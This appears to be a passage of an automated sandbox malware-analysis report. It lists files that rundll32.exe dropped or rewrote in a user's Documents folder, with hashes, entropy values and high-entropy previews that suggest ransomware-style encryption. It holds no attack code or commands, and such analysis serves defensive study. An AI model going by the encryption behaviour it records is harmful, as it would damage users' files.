Preview:	....r.s:.4p......)JPc......1W..\..Z..cPVpgCC.......a,.....\.....}.h".0c...../KXr...... @..M..G..i_At{RN......b;.....H.....s.r&.8b.....8YOz.......O..A..B....wE]rs_@......h<.....X.....a.h:.+`......)JUo......%F..G..L..pKWpf_M......q;.....S.....a.q:.)k......4K_g......4M..A..Q....`_Ry~\G......e/.....J.....g.~$.,t.....1RDn......"S..]..Y....u@VluH_......i6.....K.....k.u1.+y.....0X[d......?R..O..Z....yMJxpZM......s....._.....}.e.;j......3L[\|......,]..^..B..cQZqyAT......` .....M.....a.z:. t......;MWl.......#E..F..P..kY[`pZD......k%.....K.....p.}&.>s.....NHy...... W..G..W....lLSgmFD......k,.....L.....k..!. k.....'KVy......4_..S..V..sMZprGV......`'.....H.....~.r.,\|......DRh......,Z..D..M..v[[\|`PF......l/.....P.....}.e:.)q......STe......7V..T..]..wDHb}VV......s6.....S.....l.k6.)t.....,LP`......0@..M..@....wG_s`C].......i(.....W.....a..'.)w......)VIh....../Y..B..V..uBRln[]........a%.....L.....f.z5.+{.....>WR\|.......[..]..Z..

C:\Users\user\Documents\FENIVHOIKN.xlsx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.557887320566032
Encrypted:	false
SSDEEP:
MD5:	1EE83E3E70DFA002BFDCFF8AA6353C0A
SHA1:	27764F587C47FF214A5E85051D69AD4C342DA989
SHA-256:	0CB48419B5E783630EB25866396B6AA75C7960304FD501BB652382DCF2A34B16
SHA-512:	37E5FF12F53E480F7DC3DD57B56F9F79AE80EA455A92D68A19301133DFF241C3AEA4043FF04CCE26DCF64CBA77EE706C6D2B93E1A283AFA0A03EE6B68D78A95E
Malicious:	false
Preview:	....r.s:.4p......)JPc......1W..\..Z..cPVpgCC.......a,.....\.....}.h".0c...../KXr...... @..M..G..i_At{RN......b;.....H.....s.r&.8b.....8YOz.......O..A..B....wE]rs_@......h<.....X.....a.h:.+`......)JUo......%F..G..L..pKWpf_M......q;.....S.....a.q:.)k......4K_g......4M..A..Q....`_Ry~\G......e/.....J.....g.~$.,t.....1RDn......"S..]..Y....u@VluH_......i6.....K.....k.u1.+y.....0X[d......?R..O..Z....yMJxpZM......s....._.....}.e.;j......3L[\|......,]..^..B..cQZqyAT......` .....M.....a.z:. t......;MWl.......#E..F..P..kY[`pZD......k%.....K.....p.}&.>s.....NHy...... W..G..W....lLSgmFD......k,.....L.....k..!. k.....'KVy......4_..S..V..sMZprGV......`'.....H.....~.r.,\|......DRh......,Z..D..M..v[[\|`PF......l/.....P.....}.e:.)q......STe......7V..T..]..wDHb}VV......s6.....S.....l.k6.)t.....,LP`......0@..M..@....wG_s`C].......i(.....W.....a..'.)w......)VIh....../Y..B..V..uBRln[]........a%.....L.....f.z5.+{.....>WR\|.......[..]..Z..

C:\Users\user\Documents\GAOBCVIQIJ.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.564811163948361
Encrypted:	false
SSDEEP:
MD5:	CC01B795A63ED294DA1BB734D81C8410
SHA1:	1D523084362BC0FEB34A0C6D6E94C3534396F606
SHA-256:	FACF1FD6CE3CA67B0F54F87D57A4C8CA0CC1CF97C46F5AF5C92386D33673B694
SHA-512:	01F62567BBD1AD0ADFFC2FB0451B2A019E346660E4E7D35443E7AAD5A57B31F12E18B61F2D545570957FBB9C9393D351B3DE038DE52EA29AFEA9E034092E76F2
Malicious:	false
Preview:	...H. Ji.p]..F.@.([.V@....X...w.bW.....k=F.?..^.^.)XW....l......I.:Cz.`X.._.B.#V.QD....O...k.kI.....g4X.-..C.A.-]J....w+.....S.*_j.}Z..Y.Z."\.QM....Z...\|.zW.....g-%Z.$..R.^.(XI....y2....._.&Lk.wM..B..[./].QJ....F...\|.g[.....j-+W.$..I.@.<IY....w:.....^.,Lw.oK..A..S.#^.I^....K...y.aR.....v81A.1..N.T.5ZK....v>.....E.3Wr.cY..@.].9Y.HY....Z...f.mB.....k 0I.-..B.M.,D_....b/.....F.'^q.cZ..B.Z.8^.WK....O...a.dX.....{;)C.2..B.K.:HJ....r;.....C.!Vj..I..D..].>J.PV....R.....gA.....`>2_.8..F.Q.=YW....g9.....R.=^u.pO..A.F.#U.YG....O...w.yX.....i'+Y.=..[.V.<RS....b>.....L.0Nl.gE..H..\."T.HJ....P...d.z_.....e1)Z.2..F.R.8IU....p4.....@.#Kq.lU..W..V."B.OK...._...d.`B.....g'.Z.-..I.M.3YN....z;.....L.9Kn.`X..X..@.<A.Z_....K...b.bI.....l+9D.#..B._.+E@....{8.....D.,Qz.fW..H.F.2R.ZL....\...a.vQ.....n'/X.1..C.S.+ZX....m-.....L.8Tg.t]..Y.S.3U._M....K...l.v[.....w+/S./.._.K..D]....u=.....D..Yg.`X..G.._.1O.^[....P...`.{D.....q =H.6..I._.;\B....l4.....M.%Pn.wD..E..Y.!V.IH....K...e.~Z....

C:\Users\user\Documents\GAOBCVIQIJ.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.564811163948361
Encrypted:	false
SSDEEP:
MD5:	CC01B795A63ED294DA1BB734D81C8410
SHA1:	1D523084362BC0FEB34A0C6D6E94C3534396F606
SHA-256:	FACF1FD6CE3CA67B0F54F87D57A4C8CA0CC1CF97C46F5AF5C92386D33673B694
SHA-512:	01F62567BBD1AD0ADFFC2FB0451B2A019E346660E4E7D35443E7AAD5A57B31F12E18B61F2D545570957FBB9C9393D351B3DE038DE52EA29AFEA9E034092E76F2
Malicious:	false
Preview:	...H. Ji.p]..F.@.([.V@....X...w.bW.....k=F.?..^.^.)XW....l......I.:Cz.`X.._.B.#V.QD....O...k.kI.....g4X.-..C.A.-]J....w+.....S.*_j.}Z..Y.Z."\.QM....Z...\|.zW.....g-%Z.$..R.^.(XI....y2....._.&Lk.wM..B..[./].QJ....F...\|.g[.....j-+W.$..I.@.<IY....w:.....^.,Lw.oK..A..S.#^.I^....K...y.aR.....v81A.1..N.T.5ZK....v>.....E.3Wr.cY..@.].9Y.HY....Z...f.mB.....k 0I.-..B.M.,D_....b/.....F.'^q.cZ..B.Z.8^.WK....O...a.dX.....{;)C.2..B.K.:HJ....r;.....C.!Vj..I..D..].>J.PV....R.....gA.....`>2_.8..F.Q.=YW....g9.....R.=^u.pO..A.F.#U.YG....O...w.yX.....i'+Y.=..[.V.<RS....b>.....L.0Nl.gE..H..\."T.HJ....P...d.z_.....e1)Z.2..F.R.8IU....p4.....@.#Kq.lU..W..V."B.OK...._...d.`B.....g'.Z.-..I.M.3YN....z;.....L.9Kn.`X..X..@.<A.Z_....K...b.bI.....l+9D.#..B._.+E@....{8.....D.,Qz.fW..H.F.2R.ZL....\...a.vQ.....n'/X.1..C.S.+ZX....m-.....L.8Tg.t]..Y.S.3U._M....K...l.v[.....w+/S./.._.K..D]....u=.....D..Yg.`X..G.._.1O.^[....P...`.{D.....q =H.6..I._.;\B....l4.....M.%Pn.wD..E..Y.!V.IH....K...e.~Z....

C:\Users\user\Documents\MXPXCVPDVN.pdf

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.589955421118908
Encrypted:	false
SSDEEP:
MD5:	0952C81CBAE394737E56B572A5D9C38F
SHA1:	0B051C5662CBBC389D1114B801D2815407806249
SHA-256:	13831BC66C120066DA7587CDA22B0B9EC05EBFA23F34796B6E4036BBD051402E
SHA-512:	1AC8370E65C86E3993A95A5288EDFF95437B02D96E9664018867CA85F382CABF0BE186DEA8E7729A238989AF12FE4E8E5ACEDE394226ADD1E656D4D28130A6EB
Malicious:	false
Preview:	.X.....V...F8KO.$.!`y.;(.rh....h.R.r(.+.U~.$$m.....Md.oq.ebx..S.....V...X$QF.(. bi.9).qh.....h.S.v&.".Yz.58}.....[b.dz.`p`..I.....G...E'H].-.6jq.!4.d.....`.C.`-.".Vq.+&i.....Se.d`.kf\|..E.....Y...Y-XP.(.=jy.5.aj.....o.M.z8..[h.(a.....H{.cq.zn~..E.....S...[2BX.'.!np.?1.cq....j.U.z4.".Ga.(&r.....Hd.ro.dmo..M.....^...N'TT.+.>cm.>'.zm....d.G.a).!.Hv.6,o.....Lz.\|e.dq\|..U.....W...N,BD.4.3`v.:!.vp....o.O.t0.6.@a.&-e.....Lm.qg.{pk..I.....T...D,JX.'.2\|w.96.ze....d.O.j..?.Lb.=;s.....^l.b\|.`sb..O.....B...^?VD.$.3jq.=3.os.....p.T..1.).Eo.-<q.....[z..s.rw{..E.....P...N:KN.(.&{n.!'.ui.....u.L.p6..Ya. ,t.....Be....qfv..N.....B...X0VT.&.0fu.&7.b.....j.B.i4.7.M~.6!o.....Jk.ng.isx..P.....V...M-U@.5.<jb.77.nj....c.W.h-.".Q{.3>c.....Me.zg.d}n..E.....S...A.XB.2.0~z.7;.~l....d.F.s(.<.Ro..-f.....Xx.{~.l\|b..C.....X...Y&D_. .$.b.#7.pt....s.E.{9.'.Bb.)=......Qf.pa.np{..O.....Y...I%CY..."gs.= .~b....c.X.t<.3.Qb.0'v.....Ik.xd.vxd..C.....G...A8QT.!.4cr.)<.g`.....`.F.w<

C:\Users\user\Documents\MXPXCVPDVN.pdf.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.589955421118908
Encrypted:	false
SSDEEP:
MD5:	0952C81CBAE394737E56B572A5D9C38F
SHA1:	0B051C5662CBBC389D1114B801D2815407806249
SHA-256:	13831BC66C120066DA7587CDA22B0B9EC05EBFA23F34796B6E4036BBD051402E
SHA-512:	1AC8370E65C86E3993A95A5288EDFF95437B02D96E9664018867CA85F382CABF0BE186DEA8E7729A238989AF12FE4E8E5ACEDE394226ADD1E656D4D28130A6EB
Malicious:	false
Preview:	.X.....V...F8KO.$.!`y.;(.rh....h.R.r(.+.U~.$$m.....Md.oq.ebx..S.....V...X$QF.(. bi.9).qh.....h.S.v&.".Yz.58}.....[b.dz.`p`..I.....G...E'H].-.6jq.!4.d.....`.C.`-.".Vq.+&i.....Se.d`.kf\|..E.....Y...Y-XP.(.=jy.5.aj.....o.M.z8..[h.(a.....H{.cq.zn~..E.....S...[2BX.'.!np.?1.cq....j.U.z4.".Ga.(&r.....Hd.ro.dmo..M.....^...N'TT.+.>cm.>'.zm....d.G.a).!.Hv.6,o.....Lz.\|e.dq\|..U.....W...N,BD.4.3`v.:!.vp....o.O.t0.6.@a.&-e.....Lm.qg.{pk..I.....T...D,JX.'.2\|w.96.ze....d.O.j..?.Lb.=;s.....^l.b\|.`sb..O.....B...^?VD.$.3jq.=3.os.....p.T..1.).Eo.-<q.....[z..s.rw{..E.....P...N:KN.(.&{n.!'.ui.....u.L.p6..Ya. ,t.....Be....qfv..N.....B...X0VT.&.0fu.&7.b.....j.B.i4.7.M~.6!o.....Jk.ng.isx..P.....V...M-U@.5.<jb.77.nj....c.W.h-.".Q{.3>c.....Me.zg.d}n..E.....S...A.XB.2.0~z.7;.~l....d.F.s(.<.Ro..-f.....Xx.{~.l\|b..C.....X...Y&D_. .$.b.#7.pt....s.E.{9.'.Bb.)=......Qf.pa.np{..O.....Y...I%CY..."gs.= .~b....c.X.t<.3.Qb.0'v.....Ik.xd.vxd..C.....G...A8QT.!.4cr.)<.g`.....`.F.w<

C:\Users\user\Documents\NEBFQQYWPS.jpg

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.454832396219918
Encrypted:	false
SSDEEP:
MD5:	821805E52BA1BE5A8D4EF6929EAD1FA9
SHA1:	5D581781E94F078721D1542C390CBBB57DFD08C0
SHA-256:	79E0C388D1D68376EADB7F42623AC00CF1FE2504494CD93B544B3D2A7D633147
SHA-512:	039B51F768D5F040565B9DAD85947FF460642137B08B593FACB08853FC13573F777A9FD073A64A322957852BF9615BD297160180A798829902D5D3052FAE2851
Malicious:	false
Preview:	..\|..!z...X..uc..K.NT..l.T..W..q..T....Q...dy...ln...........i..m..&i...Q..nz..W.ZP..{.B..[..u.._....H{..zz..a~s.......x.t..i..6h...S..mg..Q.HG....J..@..u..[....Be..k}..z{c.......c.d..f..2e....Q..ex..Q.LS..~.[..Z..}..N....Eo..vu....a...........h..t.."l...E..hh..W.JH..k.M..^..t..C....Aw..pu..rjb.......o.h..q..)b...V..l{..I.XG..y.E..P..q..A....M~..ie..apk.......`.v..y..>{...\..is..K.JF..l.Y..P..{..[....Nd..pc..zk..........t.y..n..#b...^..~b..E.ZF..b.T..B..i..S....Id..\|s..bmq.......b.f..{..4g...X..gh..V.FE..\|.S..M..r..T....Wd..fg..pec.......q.g..l..5q...U..j}..W.WV..q.A..O..x..N....P\|..`r..qjd.......t.k..g..?r...G..ez..I.ZH....V..F..r..R....Uk..tw..de\|.......l.`..r..%v...M..il..G.LH....[..F..g..F....Nx..d\|..e~n.........d..w..$f...T..{s..K.HD..~.J.._..y..X....Cg..xg..e}h.......g.l..j..2r...V..df..K.GQ..u.@..\..`..G....^a..k{..{zy.........g.b..\|..7m....Q..g~..Z.^V..~.W..T..~..\....Nd..sm..yqb.......r.b..l..:t....^..{~..O.YL..h.O..P..d..Z....

C:\Users\user\Documents\NEBFQQYWPS.jpg.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.454832396219918
Encrypted:	false
SSDEEP:
MD5:	821805E52BA1BE5A8D4EF6929EAD1FA9
SHA1:	5D581781E94F078721D1542C390CBBB57DFD08C0
SHA-256:	79E0C388D1D68376EADB7F42623AC00CF1FE2504494CD93B544B3D2A7D633147
SHA-512:	039B51F768D5F040565B9DAD85947FF460642137B08B593FACB08853FC13573F777A9FD073A64A322957852BF9615BD297160180A798829902D5D3052FAE2851
Malicious:	false
Preview:	..\|..!z...X..uc..K.NT..l.T..W..q..T....Q...dy...ln...........i..m..&i...Q..nz..W.ZP..{.B..[..u.._....H{..zz..a~s.......x.t..i..6h...S..mg..Q.HG....J..@..u..[....Be..k}..z{c.......c.d..f..2e....Q..ex..Q.LS..~.[..Z..}..N....Eo..vu....a...........h..t.."l...E..hh..W.JH..k.M..^..t..C....Aw..pu..rjb.......o.h..q..)b...V..l{..I.XG..y.E..P..q..A....M~..ie..apk.......`.v..y..>{...\..is..K.JF..l.Y..P..{..[....Nd..pc..zk..........t.y..n..#b...^..~b..E.ZF..b.T..B..i..S....Id..\|s..bmq.......b.f..{..4g...X..gh..V.FE..\|.S..M..r..T....Wd..fg..pec.......q.g..l..5q...U..j}..W.WV..q.A..O..x..N....P\|..`r..qjd.......t.k..g..?r...G..ez..I.ZH....V..F..r..R....Uk..tw..de\|.......l.`..r..%v...M..il..G.LH....[..F..g..F....Nx..d\|..e~n.........d..w..$f...T..{s..K.HD..~.J.._..y..X....Cg..xg..e}h.......g.l..j..2r...V..df..K.GQ..u.@..\..`..G....^a..k{..{zy.........g.b..\|..7m....Q..g~..Z.^V..~.W..T..~..\....Nd..sm..yqb.......r.b..l..:t....^..{~..O.YL..h.O..P..d..Z....

C:\Users\user\Documents\NEBFQQYWPS.mp3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.580472791162894
Encrypted:	false
SSDEEP:
MD5:	2E2D12E82FD0AD80DB63C3AD435BB068
SHA1:	1A0314EEB06BF62A87BBD59191D39490D81F3C6C
SHA-256:	E941069E7633F1CE1806B8227EB3ED2F94BC100A478BBE5B240A70BCEC7F0535
SHA-512:	BFC30F967910B40378BE88850FD86D93EBCF9F5EF80592F38F9664B0DF348515550102883F3C1B7A7F3672F7A9E761FEAEFCEE746E2B23717F2FA9E7752598B8
Malicious:	false
Preview:	h../.....L..&....\.........\.ci...3...l..."....a)...X`.'R.4.d..8....S.......Z........O.ob.......k...$....\|=...Rh. 'U.).b..?....X..,....H...=.....A.ty...+...n...%.....l4...H`.6$N.9.c..-....T..'....A...).....G.na...5...p...:....n5...Ia.:)R.5.h..+....N..-....M...2.....E.jt...(...z...)....m"...Jf.0;B.5.i../....W..2....N...=.....].d....%...g...9....d)...Bv.<=M.+.l..!....E..:....^...<....._.dn...2....{...2.....p/...\b..Y.$.j..%....J..;....M...<.....Z.vn...>....e...)....~0...Bs.4+O.;.j..;....T..:....B...?.....B.yy...2....{...9....l!...Vu..$\.:.e..$....^..+....[...,.....].{r...5....t...>....k0...Jg.9'Y.6.~..#....Q.......A...2....._.ro...,....s...2....s=...Is.!<A.=.v..#....T..?....S...2.....K.rm...3...v...2....a5...\r.7!R.9.`..+....J..<....O...>.....G.ka...-...u...!....g;...^c.=4J.1.s..<....Z..'....M...+.....O.h}...5...j... .....v ...Eq.<<J.?.q..3....L..,....B...,.....W.`t...-...h...?.....m0...[q.+<_.?.k..,....J../....Y...6.....F.di...5....m

C:\Users\user\Documents\NEBFQQYWPS.mp3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.580472791162894
Encrypted:	false
SSDEEP:
MD5:	2E2D12E82FD0AD80DB63C3AD435BB068
SHA1:	1A0314EEB06BF62A87BBD59191D39490D81F3C6C
SHA-256:	E941069E7633F1CE1806B8227EB3ED2F94BC100A478BBE5B240A70BCEC7F0535
SHA-512:	BFC30F967910B40378BE88850FD86D93EBCF9F5EF80592F38F9664B0DF348515550102883F3C1B7A7F3672F7A9E761FEAEFCEE746E2B23717F2FA9E7752598B8
Malicious:	false
Preview:	h../.....L..&....\.........\.ci...3...l..."....a)...X`.'R.4.d..8....S.......Z........O.ob.......k...$....\|=...Rh. 'U.).b..?....X..,....H...=.....A.ty...+...n...%.....l4...H`.6$N.9.c..-....T..'....A...).....G.na...5...p...:....n5...Ia.:)R.5.h..+....N..-....M...2.....E.jt...(...z...)....m"...Jf.0;B.5.i../....W..2....N...=.....].d....%...g...9....d)...Bv.<=M.+.l..!....E..:....^...<....._.dn...2....{...2.....p/...\b..Y.$.j..%....J..;....M...<.....Z.vn...>....e...)....~0...Bs.4+O.;.j..;....T..:....B...?.....B.yy...2....{...9....l!...Vu..$\.:.e..$....^..+....[...,.....].{r...5....t...>....k0...Jg.9'Y.6.~..#....Q.......A...2....._.ro...,....s...2....s=...Is.!<A.=.v..#....T..?....S...2.....K.rm...3...v...2....a5...\r.7!R.9.`..+....J..<....O...>.....G.ka...-...u...!....g;...^c.=4J.1.s..<....Z..'....M...+.....O.h}...5...j... .....v ...Eq.<<J.?.q..3....L..,....B...,.....W.`t...-...h...?.....m0...[q.+<_.?.k..,....J../....Y...6.....F.di...5....m

C:\Users\user\Documents\PWCCAWLGRE.mp3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.603264159952683
Encrypted:	false
SSDEEP:
MD5:	EBB2F1961846CABD950F704C690DAFFC
SHA1:	3FC8E40F74FC092344F7BCBFEC17EE213BCD6AC6
SHA-256:	99E677E999CB74E8AAD9137CCD931AB138B0EE0B729775A1D8A711C35DD527A0
SHA-512:	28AF5F2B80FBE1D56DEE993E869BE64209BEFD1EA8A63EA2F1242DDDCD79EC08C81B0EA9319A56C10B5313994E361F603903B567116C8F5FFE538E4BB12FD448
Malicious:	false
Preview:	..j...H`.ed7.n._f......".. ....$...V.......Q..xm9....\.....K2.z...B{.rf%.s.S........=..;....$...R.....C..{k/..L.....P5.a...Bg.ql'.q.]j........5..2...."...C.....D...}~=....V.....T'.j...Hk.gl'.y.\h.....(......7...T.....Z..ce8....\.....U5.q...My.uo".\|.Ng......%..:....+...L.....E..\|m...H.....Z?.y...Wk.fn!.s.[x......%.. ........O.......R...v.&....T.....Z$.n...Ab.lx'.u.Da......0..'....6...V.......^...}r%.._.....M1.n...Gy.ro3.z.G~........1..:....!...J.....R..jb+..O.....V<.{...Cb.}x0.\|.]k.......&..9....6...R.......D..f.6....E.....T).l...Cp.dk-...Cy.....#..&....5...S.....A..z};...._.....Q3.{...D\|.\|p5...P{.......&..=.......H.....^..{v5..A.....L*.g...Yv.oz,.~.Mg.......;..?...."...N.....R..cq4....M.....X4.z...Iq.gj..q.Nn.....7..$....5...G.....Z..~o(....B.....M:.e...V..~w<.x.Sh.....>.. ....(...L....._..yr4..C.....O(.g...F}.fn7.`.Ez......."..!....'...N.....D..sl?....V.....Z7.p..._u.e{#.t.Ee.....!..'....6...Q.

C:\Users\user\Documents\PWCCAWLGRE.mp3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.603264159952683
Encrypted:	false
SSDEEP:
MD5:	EBB2F1961846CABD950F704C690DAFFC
SHA1:	3FC8E40F74FC092344F7BCBFEC17EE213BCD6AC6
SHA-256:	99E677E999CB74E8AAD9137CCD931AB138B0EE0B729775A1D8A711C35DD527A0
SHA-512:	28AF5F2B80FBE1D56DEE993E869BE64209BEFD1EA8A63EA2F1242DDDCD79EC08C81B0EA9319A56C10B5313994E361F603903B567116C8F5FFE538E4BB12FD448
Malicious:	false
Preview:	..j...H`.ed7.n._f......".. ....$...V.......Q..xm9....\.....K2.z...B{.rf%.s.S........=..;....$...R.....C..{k/..L.....P5.a...Bg.ql'.q.]j........5..2...."...C.....D...}~=....V.....T'.j...Hk.gl'.y.\h.....(......7...T.....Z..ce8....\.....U5.q...My.uo".\|.Ng......%..:....+...L.....E..\|m...H.....Z?.y...Wk.fn!.s.[x......%.. ........O.......R...v.&....T.....Z$.n...Ab.lx'.u.Da......0..'....6...V.......^...}r%.._.....M1.n...Gy.ro3.z.G~........1..:....!...J.....R..jb+..O.....V<.{...Cb.}x0.\|.]k.......&..9....6...R.......D..f.6....E.....T).l...Cp.dk-...Cy.....#..&....5...S.....A..z};...._.....Q3.{...D\|.\|p5...P{.......&..=.......H.....^..{v5..A.....L*.g...Yv.oz,.~.Mg.......;..?...."...N.....R..cq4....M.....X4.z...Iq.gj..q.Nn.....7..$....5...G.....Z..~o(....B.....M:.e...V..~w<.x.Sh.....>.. ....(...L....._..yr4..C.....O(.g...F}.fn7.`.Ez......."..!....'...N.....D..sl?....V.....Z7.p..._u.e{#.t.Ee.....!..'....6...Q.

C:\Users\user\Documents\RAYHIWGKDI.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.614098251981748
Encrypted:	false
SSDEEP:
MD5:	44BADF98F99DB16879E33922C3D9D1DD
SHA1:	B9A05DD4A4AEFDFE4D7CB72063BCB9D4DB181F49
SHA-256:	8D7D3B1740E673099D12DB8BC9A2283E7A9B4B6C8E3823E31FA11C8B39E2F6B3
SHA-512:	F1EABDD0A40A2C40DB98595DBF7016721DBDA3086D163BC6FDAC6C3AF7F6C5243B998D2A45B224A4C17D069C5E91072EC25E68E8326CA0E4816AE821107BDCB5
Malicious:	false
Preview:	Y\YbT...9..."...x...7".V#.)9..cR3...dN...I.8.q..F!.........@HVDg_...)...:...i...!>.I$.6..5~R8...wV...J.:.z..M8.........EFHKeN..:.../...`..."2.V"./!..:aY6...bV...X.1.a..I-.........\IKBiU..9...(...i...1+._8. ..7nO8..vF...N.1.l..B!.........[YQGhE......5...w...6=.F<.7$..7}V:..tK.....[.'.i..U+.........]J[RyN..0...1...n...6$.E;.)&..8kB<...eQ...M.9.j..A:.........[[\SaN..;...3...y...<<.N<.&?.. mP<..\|L.....B.&.\|..P .........KXDLbZ...9...&....`..."9.U/.;2..0sP9..cT...[...s..T7.........YJ_Om\..1...%...v...'=.K$.%=..(jN<...gJ.....^.$.n..F6.........XAWYzT..0...,...a...66.O;.4..!pB6...wQ...@.3.~..U&.........A]XOzH...5...'...w..."$.F/.)7..'kL2..~D...X.5.w..P%.........AIIDlL...3...1...}...? .@>.;<..;bV4..wV...F.3.y..].........X[UYdD..>...0...w...)5.T&.0;..+b_4...eI.....C.-.}..V$.........ODPT`O...4...)...d...>:._$.'(..%sH>...tM.....E.9.j..Q$.........COMChP..4...+...x...?2.C?.%'.. tO?...sJ.....X.0.v..W.........FONL{\..?...0...z...%?.X0.#:.. pI1..yD

C:\Users\user\Documents\RAYHIWGKDI.docx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.614098251981748
Encrypted:	false
SSDEEP:
MD5:	44BADF98F99DB16879E33922C3D9D1DD
SHA1:	B9A05DD4A4AEFDFE4D7CB72063BCB9D4DB181F49
SHA-256:	8D7D3B1740E673099D12DB8BC9A2283E7A9B4B6C8E3823E31FA11C8B39E2F6B3
SHA-512:	F1EABDD0A40A2C40DB98595DBF7016721DBDA3086D163BC6FDAC6C3AF7F6C5243B998D2A45B224A4C17D069C5E91072EC25E68E8326CA0E4816AE821107BDCB5
Malicious:	false
Preview:	Y\YbT...9..."...x...7".V#.)9..cR3...dN...I.8.q..F!.........@HVDg_...)...:...i...!>.I$.6..5~R8...wV...J.:.z..M8.........EFHKeN..:.../...`..."2.V"./!..:aY6...bV...X.1.a..I-.........\IKBiU..9...(...i...1+._8. ..7nO8..vF...N.1.l..B!.........[YQGhE......5...w...6=.F<.7$..7}V:..tK.....[.'.i..U+.........]J[RyN..0...1...n...6$.E;.)&..8kB<...eQ...M.9.j..A:.........[[\SaN..;...3...y...<<.N<.&?.. mP<..\|L.....B.&.\|..P .........KXDLbZ...9...&....`..."9.U/.;2..0sP9..cT...[...s..T7.........YJ_Om\..1...%...v...'=.K$.%=..(jN<...gJ.....^.$.n..F6.........XAWYzT..0...,...a...66.O;.4..!pB6...wQ...@.3.~..U&.........A]XOzH...5...'...w..."$.F/.)7..'kL2..~D...X.5.w..P%.........AIIDlL...3...1...}...? .@>.;<..;bV4..wV...F.3.y..].........X[UYdD..>...0...w...)5.T&.0;..+b_4...eI.....C.-.}..V$.........ODPT`O...4...)...d...>:._$.'(..%sH>...tM.....E.9.j..Q$.........COMChP..4...+...x...?2.C?.%'.. tO?...sJ.....X.0.v..W.........FONL{\..?...0...z...%?.X0.#:.. pI1..yD

C:\Users\user\Documents\SFPUSAFIOL.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.603062758091254
Encrypted:	false
SSDEEP:
MD5:	1C8C8D25EDADB7210603895381A1629F
SHA1:	6D84F9792DA29F58D5928C51CB583D0B035850EC
SHA-256:	2F71886EA84B2E8F2142DBCF23ED7B43576FE1F0BFAB52F89D498E36209FAE7A
SHA-512:	BFA50B855659476B844DFB7E22DF6F6E4D22E2D8CD85B325F7D170902A633C1C2F9C8858F1CBC56EA7677352EE4C53D9768FB0877446A8A92B6B5BC4417D8C16
Malicious:	false
Preview:	.m...PHK'3..(.}B..d.I...Z<.&]....6..b..z.....Y..>...@F!(F.....l...X[J96...\|L..}.L...A>./@....4.7`...s.....G..9...SI1?G.....v...QJW!8..#.qZ..y.E..X:.'Z....#. f..f.....V..9...CC%6N.....p...]M^?8..3.kT..x.I...\(.6O..../.<f..t.....M.....KX "U.....t...WOK#?..1.~_..j.O..A>.3G....8.7p...}.....Q..$...LD)(P......k...OOJ:0..>.eQ..e.W..W%.8[....+./r..x.....E..)...NR4=M.....p...BMJ>:..5.k@..e.^.._?.?V.....q..h.....Q..=...@F56Z.....~...UQC#?..2.fG..`.Y..B,.3\....%.&...i.....O..9...SJ#)G.....l...WUQ/ ..6.xO..y.I..[%.1G....'.!m..}.....V..<...@M.-D......~...TFW<6..#.`P..b.^..I>."T....".(x..w.....]..=....CF.#\.....d...ODV&>..?.iX..x.I...G .;[.... .)`..}.....W..:...WL!*W.....e...DGF"0../.jS..f.O...T$.4@.... .4`...q.....S.."....OY70[.....~...FRB(&..?.c^..~.H...U'.9Z....%.,y..u.....^..3....DR)!J.....g..._I^!9..2.r^..~.O...D;.=R....6.!v..{.....O../...FB#3L.....e...ZJW$5..).yC..v.E...G9.&O....!..y..{.....\..8...DD&1D.....k...UEO'8..>.y_..s.Z..@?.<D....$.7\|..

C:\Users\user\Documents\SFPUSAFIOL.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.603062758091254
Encrypted:	false
SSDEEP:
MD5:	1C8C8D25EDADB7210603895381A1629F
SHA1:	6D84F9792DA29F58D5928C51CB583D0B035850EC
SHA-256:	2F71886EA84B2E8F2142DBCF23ED7B43576FE1F0BFAB52F89D498E36209FAE7A
SHA-512:	BFA50B855659476B844DFB7E22DF6F6E4D22E2D8CD85B325F7D170902A633C1C2F9C8858F1CBC56EA7677352EE4C53D9768FB0877446A8A92B6B5BC4417D8C16
Malicious:	false
